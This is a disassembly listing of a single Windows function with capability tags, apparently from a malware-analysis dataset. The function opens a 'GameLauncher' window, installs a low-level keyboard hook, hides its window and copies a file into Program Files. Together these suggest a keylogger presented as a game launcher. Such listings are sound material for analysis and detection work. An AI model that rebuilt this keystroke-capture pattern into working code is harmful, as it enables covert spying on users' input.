Function at 0x401660
Capabilities:
Copy file
Create directory
Extract resource via kernel32 functions
Get common file path
Hide graphical window
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x26c
mov eax, dword [0x41a014]
xor eax, esp
mov dword [esp + 0x268], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 4
mov dword [esp + 0x14], ebx
call fcn.00405476
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
add esp, 4
mov dword [0x41b4d8], eax
mov dword [eax], 0
push 0
call esi
push 1
mov dword [0x41b4d0], eax
call esi
push 0
mov dword [0x41b490], eax
call dword [sym.imp.ole32.dll_OleInitialize]
mov dword [0x41b464], ebx
call fcn.004019f0
test ax, ax
jne 0x4016f9
push 0x10
push 0x416db4
push 0x416dc4
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x268]
xor ecx, esp
call fcn.0040523d
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [0x41b490]
push 0
push dword [0x41b464]
add eax, 0xfffffcd9
push 0
push 0
cdq
push 0x327
sub eax, edx
push 0x4ac
sar eax, 1
push eax
mov eax, dword [0x41b4d0]
add eax, 0xfffffb54
cdq
sub eax, edx
sar eax, 1
push eax
push 0x82020000
push str.GameLauncher
push str.WindowWithEmbeddedWeb
push 0x80000
call dword [sym.imp.USER32.dll_CreateWindowExW]
push eax
mov dword [0x41b4d4], eax
call dword [sym.imp.USER32.dll_GetDC]
push 0
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 1
push eax
lea eax, [esp + 0x30]
mov dword [esp + 0x24], 0
push eax
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
push 0x416dd4
push 0x68
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push ebx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push edi
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push edi
push esi
push eax
call fcn.00410a10
add esp, 0xc
mov dword [esp + 0x14], 0
lea eax, [esp + 0x14]
push eax
push 0
push ebx
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov edi, dword [esp + 0x14]
push 0x10
call dword [sym.imp.gdiplus.dll_GdipAlloc]
mov esi, eax
test esi, esi
je 0x40180c
lea ecx, [esi + 4]
mov dword [esi], vtable.Gdiplus::Image.0
push ecx
push edi
mov dword [ecx], 0
call dword [sym.imp.gdiplus.dll_GdipLoadImageFromStream]
mov dword [esi + 8], eax
jmp 0x40180e
xor esi, esi
lea eax, [esp + 0x58]
mov dword [0x41b484], esi
push eax
push dword [0x41b4d4]
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
push dword [esp + 0x14]
push 0x401a70
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
push 0x40
mov dword [0x41b474], eax
call fcn.00405476
push ecx
mov ecx, eax
call fcn.00404030
movaps xmm0, xmmword [0x417220]
mov dword [0x41b488], eax
movups xmmword [esp + 0x48], xmm0
test eax, eax
je 0x40186d
mov edx, dword [eax]
lea ecx, [esp + 0x48]
push ecx
mov ecx, eax
call dword [edx + 0x24]
push dword [ebp + 0x14]
push dword [0x41b4d4]
call dword [sym.imp.USER32.dll_ShowWindow]
push 2
push 0
push 0x1e1e1e
push dword [0x41b4d4]
call dword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
xor esi, esi
call fcn.00408660
mov ecx, dword [eax]
call fcn.00401410
push esi
push 0x416e08
mov edi, eax
call fcn.00409b08
add esp, 8
test eax, eax
jne 0x4018c5
push eax
push 0x416e24
call fcn.00409b08
add esp, 8
test eax, eax
je 0x401909
push 0
push 0x416e08
call fcn.00409b08
add esp, 8
test eax, eax
jne 0x4018ea
push eax
push 0x416e24
call fcn.00409b08
add esp, 8
test eax, eax
jne 0x4018fb
push 0x416ddc
call fcn.00408666
add esp, 4
test eax, eax
jne 0x401909
push 1
push str.C:Program_Files_
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0x416e08
call fcn.00409b08
add esp, 8
test eax, eax
jne 0x401936
push eax
push 0x416e24
call fcn.00409b08
add esp, 8
mov ecx, str.C:Program_Files_
test eax, eax
cmovne ecx, esi
mov esi, ecx
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jne 0x401972
lea eax, [esp + 0x68]
push eax
push dword [esp + 0x14]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
push dword [esp + 0x10]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
sub esp, 0x14
lea edx, [esp + 0x7c]
mov ecx, esi
call fcn.00401310
add esp, 0x14
call dword [sym.imp.ole32.dll_CoUninitialize]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [esp + 0x2c]
push 0
push 0
push 0
push eax
call esi
test eax, eax
je 0x4019cf
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
nop dword [eax]
lea eax, [esp + 0x2c]
push eax
call edi
lea eax, [esp + 0x2c]
push eax
call ebx
push 0
push 0
push 0
lea eax, [esp + 0x38]
push eax
call esi
test eax, eax
jne 0x4019b0
mov ecx, dword [esp + 0x274]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040523d
mov esp, ebp
pop ebp
ret 0x10